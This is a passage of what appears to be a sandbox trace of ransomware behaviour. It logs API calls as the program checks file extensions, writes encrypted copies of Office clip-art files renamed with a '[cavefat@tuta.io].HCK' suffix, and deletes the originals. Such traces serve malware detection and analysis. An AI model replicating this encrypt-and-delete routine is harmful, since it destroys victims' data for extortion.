(lpString1=".dbf", lpString2=".JPG") returned -1 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".1cd") returned 4 [0228.293] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".jpg") returned 4 [0228.293] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".doc") returned 4 [0228.293] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.293] lstrlenW (lpString=".docx") returned 5 [0228.293] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0228.293] lstrlenW (lpString=".pdf") returned 4 [0228.293] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString=".xls") returned 4 [0228.294] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.294] lstrlenW (lpString=".xlsx") returned 5 [0228.294] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0228.294] lstrlenW (lpString=".ppt") returned 4 [0228.294] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.294] lstrlenW (lpString=".zip") returned 4 [0228.294] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.294] lstrlenW (lpString=".rar") returned 4 [0228.294] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.294] lstrlenW (lpString=".bz2") returned 4 [0228.294] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.294] lstrlenW (lpString=".7z") returned 3 [0228.294] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.294] lstrlenW (lpString=".dbf") returned 4 [0228.294] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.294] lstrlenW (lpString=".1cd") returned 4 [0228.294] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.294] lstrlenW (lpString=".jpg") returned 4 [0228.294] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.294] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.294] lstrlenW (lpString="J0099186.JPG") returned 12 [0228.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.295] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16738) returned 1 [0228.295] CloseHandle (hObject=0x4c4) returned 1 [0228.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0228.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.295] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.295] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0228.296] GetLastError () returned 0x0 [0228.296] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4162, lpOverlapped=0x0) returned 1 [0228.452] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4170, lpOverlapped=0x0) returned 1 [0228.453] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.453] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.453] SetEndOfFile (hFile=0x4c8) returned 1 [0228.748] CloseHandle (hObject=0x4c8) returned 1 [0228.748] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.748] SetEndOfFile (hFile=0x4c4) returned 1 [0228.751] CloseHandle (hObject=0x4c4) returned 1 [0228.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0229.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.663] lstrlenW (lpString=".doc") returned 4 [0229.664] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0229.664] lstrlenW (lpString=".docx") returned 5 [0229.664] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0229.664] lstrlenW (lpString=".pdf") returned 4 [0229.664] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".xls") returned 4 [0229.664] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".xlsx") returned 5 [0229.664] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0229.664] lstrlenW (lpString=".ppt") returned 4 [0229.664] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString=".zip") returned 4 [0229.664] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".rar") returned 4 [0229.664] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".bz2") returned 4 [0229.664] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0229.664] lstrlenW (lpString=".7z") returned 3 [0229.664] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString=".dbf") returned 4 [0229.664] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString=".1cd") returned 4 [0229.664] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString=".jpg") returned 4 [0229.664] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.664] lstrlenW (lpString=".doc") returned 4 [0229.664] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0229.664] lstrlenW (lpString=".docx") returned 5 [0229.664] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0229.664] lstrlenW (lpString=".pdf") returned 4 [0229.664] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".xls") returned 4 [0229.664] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0229.664] lstrlenW (lpString=".xlsx") returned 5 [0229.664] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0229.664] lstrlenW (lpString=".ppt") returned 4 [0229.664] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0229.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.665] lstrlenW (lpString=".zip") returned 4 [0229.665] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0229.665] lstrlenW (lpString=".rar") returned 4 [0229.665] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0229.665] lstrlenW (lpString=".bz2") returned 4 [0229.665] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0229.665] lstrlenW (lpString=".7z") returned 3 [0229.665] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0229.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.665] lstrlenW (lpString=".dbf") returned 4 [0229.665] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0229.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.665] lstrlenW (lpString=".1cd") returned 4 [0229.665] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0229.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0229.665] lstrlenW (lpString=".jpg") returned 4 [0229.665] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0229.665] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.665] lstrlenW (lpString="J0101865.BMP") returned 12 [0229.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.666] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=32184) returned 1 [0229.666] CloseHandle (hObject=0x4c0) returned 1 [0229.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0229.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.667] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.667] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.680] GetLastError () returned 0x0 [0229.680] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.694] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.695] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.695] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.696] SetEndOfFile (hFile=0x4bc) returned 1 [0229.696] CloseHandle (hObject=0x4bc) returned 1 [0229.696] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.696] SetEndOfFile (hFile=0x4c0) returned 1 [0229.698] CloseHandle (hObject=0x4c0) returned 1 [0229.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.699] lstrlenW (lpString=".doc") returned 4 [0229.699] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".docx") returned 5 [0229.699] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0229.699] lstrlenW (lpString=".pdf") returned 4 [0229.699] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".xls") returned 4 [0229.699] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".xlsx") returned 5 [0229.699] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0229.699] lstrlenW (lpString=".ppt") returned 4 [0229.699] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.699] lstrlenW (lpString=".zip") returned 4 [0229.699] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".rar") returned 4 [0229.699] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".bz2") returned 4 [0229.699] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.699] lstrlenW (lpString=".7z") returned 3 [0229.699] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.699] lstrlenW (lpString=".dbf") returned 4 [0229.699] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".1cd") returned 4 [0229.700] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".jpg") returned 4 [0229.700] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".doc") returned 4 [0229.700] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".docx") returned 5 [0229.700] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0229.700] lstrlenW (lpString=".pdf") returned 4 [0229.700] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".xls") returned 4 [0229.700] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".xlsx") returned 5 [0229.700] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0229.700] lstrlenW (lpString=".ppt") returned 4 [0229.700] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".zip") returned 4 [0229.700] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".rar") returned 4 [0229.700] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".bz2") returned 4 [0229.700] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString=".7z") returned 3 [0229.700] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".dbf") returned 4 [0229.700] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".1cd") returned 4 [0229.700] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0229.700] lstrlenW (lpString=".jpg") returned 4 [0229.700] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.700] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.700] lstrlenW (lpString="J0101980.WMF") returned 12 [0229.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.701] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16104) returned 1 [0229.701] CloseHandle (hObject=0x4c0) returned 1 [0229.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0229.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.702] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.702] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.702] GetLastError () returned 0x0 [0229.702] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0229.707] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0229.708] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.708] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.708] SetEndOfFile (hFile=0x4bc) returned 1 [0229.713] CloseHandle (hObject=0x4bc) returned 1 [0229.717] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.717] SetEndOfFile (hFile=0x4c0) returned 1 [0229.736] CloseHandle (hObject=0x4c0) returned 1 [0229.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".doc") returned 4 [0229.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".docx") returned 5 [0229.844] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0229.844] lstrlenW (lpString=".pdf") returned 4 [0229.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".xls") returned 4 [0229.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.844] lstrlenW (lpString=".xlsx") returned 5 [0229.844] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0229.844] lstrlenW (lpString=".ppt") returned 4 [0229.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".zip") returned 4 [0229.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.844] lstrlenW (lpString=".rar") returned 4 [0229.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".bz2") returned 4 [0229.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".7z") returned 3 [0229.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".dbf") returned 4 [0229.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".1cd") returned 4 [0229.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".jpg") returned 4 [0229.844] 